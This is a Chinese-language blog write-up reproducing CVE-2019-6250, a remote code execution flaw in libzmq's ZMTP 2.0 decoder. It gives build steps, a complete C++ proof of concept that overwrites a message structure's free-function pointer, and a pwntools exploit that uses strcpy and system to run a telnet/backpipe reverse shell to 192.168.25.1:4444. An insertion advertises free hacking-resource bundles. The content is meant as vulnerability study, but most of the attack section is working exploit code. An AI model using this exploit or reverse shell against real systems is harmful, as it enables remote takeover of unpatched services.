概述

ZMQ(Zero MessageQueue)是一种基于消息队列得多线程网络库,C++编写,可以使得Socket编程更加简单高效。

该编号为CVE-2019-6250的远程执行漏洞,主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTPv2.0协议中。

这一漏洞已经有很多师傅都已经分析并复现过了,但在环境搭建和最后的利用都所少有一些不完整,为了更好的学习,在学习师傅们的文章后,我进行了复现,并进行了些许补充,供师傅们学习,特别是刚开始复现CVE的师傅。

环境搭建

复现CVE最关键也是最繁琐的一步就是搭建漏洞环境,尽量保持与CVE报告的漏洞环境一致,如旧版本环境实在搞不到,就只能对新版本进行适当patch,把漏洞部分恢复以进行复现。

下面是针对该漏洞的环境搭建步骤

下载目标版本并安装

git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install

下载cppzmq

git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install

测试

cd demo
编辑main.cpp,添加printf("hello worldn");
mkdir build
cd build
cmake ..
make
./demo

demo可以正常执行即可

在我看到的几篇文章中,cppzmq好像都少了最后的make,导致编译并没有完全结束,影响后面的复现

漏洞复现

先看看已有的poc

#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>

class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");

while (true) {
zmq::message_t request;

// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};

static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t
arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);

if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct
sockaddr)) == -1)
{
abort();
}

const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in
zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in
zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in
zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);

const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);

/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);

uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));

/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);

close(s);
sleep(1);
}

char destbuffer[100];
char srcbuffer[100] = "ping google.com";

int main(void)
{
Thread* rt = new Thread();
sleep(1);

callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer,
(uint64_t)strcpy);

callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);

return 0;
}

复制到demo重新编译

执行./demo

CVE初探之漏洞反弹Shell(CVE-2019-6250)_远程执行漏洞

复现成功

帮助网安学习,全套资料S信免费领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

POC分析

poc主要包括下面四部分

greeting
v2msg
plsize
content_t_replacement

v2msg用于设置msg_size=0xffffffffffffffff,其中的0x2标识程序进入eight_byte_size_ready状态,调用zmq::v2_decoder_t::size_ready进行解析,zmq::v2_decoder_t::size_ready方法在做比较判断的时候,使用的read_pos_ +msg_size加法发生整型溢出,导致可绕过缓冲区大小校验进入else流程。else流程调用zmq::msg_t::init()方法,该方法不会重新分配缓冲区大小而直接处理数据。在后续流程中将造成缓冲区写越界。下面是源代码中存在漏洞的部分。

if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else {
rc = _in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}

plsize作为padding,长度为0x1FF7,使得content_t_replacement可以覆盖_u.zclmsg.content指向的结构体。

CVE初探之漏洞反弹Shell(CVE-2019-6250)_远程执行漏洞_02

ffn为函数指针,data和hint为两个参数的地址值,ffn将在tcp连接关闭的时候被zmq::msg_t::close()方法调用,看下图调试结果,成功执行了call0xdeadbeaf

CVE初探之漏洞反弹Shell(CVE-2019-6250)_漏洞复现_03

反弹Shell

由于还不清楚如何泄露地址,这里基于没有开PIE的程序编写exp。

通过分析POC,我们发现可以控制ffn,data和hint,即调用函数和两个参数,可以实现远程代码执行。

那么我的目标是反弹shell,也就是执行

system("mknod backpipe1 p && telnet
192.168.25.1 4444 0<backpipe1 | /bin/bash
1>backpipe1;")

,当然这只是其中一种方式。

那么,我的想法是,在二进制文件中找命令中的所有字符,通过执行strcpy进行拷贝,拼接成完整的命令,最后用调用system函数进行执行,实现反弹shell。

exp如下

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : exp.py
@Time : 2023/06/24 08:59:34
@Author : 5ma11wh1t3
@Contact : 197489628@qq.com
'''

import ctypes
from pwn import *
import base64
context.log_level=True
context.arch='amd64'
elf_path = './build/demo'
elf = ELF(elf_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
inter = lambda : p.interactive()
def debug():
    gdb.attach(p, 'directory
    /home/guo/Desktop/cve/cve-2019-6250/libzmq/src')
    pause()
def lg(s,addr = None):
    if addr:
        print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))
    else:
        print('033[1;32;40m[-] %-20s 033[0m'%(s))

if __name__ == '__main__':
    re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1
    | /bin/bash 1>backpipe1;"
    with open(elf_path,'rb') as f:
    binary = f.read()
    ads = []
    for char in re_shell:
    char_address = 0x400000 + binary.index(char)
    ads.append(char_address)
    for i in range(len(ads)):
    p = remote('127.0.0.1',6666)
    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
    p1 += b'x02' + b'xff'*8
    p1 += b'a'*8183
    p1 += p64(0x4050F8+i) # void* data rdi
    p1 += p64(0) # size_t size
    p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func
    p1 += p64(ads[i]) # void* hint rsi
    sn(p1)
    p.close()
    p = remote('127.0.0.1',6666)
    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
    p1 += b'x02' + b'xff'*8
    p1 += b'a'*8183
    p1 += p64(0x4050F8) # void* data rdi
    p1 += p64(0) # size_t size
    p1 += p64(elf.plt['system']) # msg_free_fn *ffn func
    p1 += p64(ads[i]) # void* hint rsi
    # raw_input()
    sn(p1)
    p.close()

演示

攻击准备

本地起监听

CVE初探之漏洞反弹Shell(CVE-2019-6250)_反弹Shell_04

server

CVE初探之漏洞反弹Shell(CVE-2019-6250)_漏洞复现_05

攻击实施

CVE初探之漏洞反弹Shell(CVE-2019-6250)_漏洞复现_06

获得shell

CVE初探之漏洞反弹Shell(CVE-2019-6250)_远程执行漏洞_07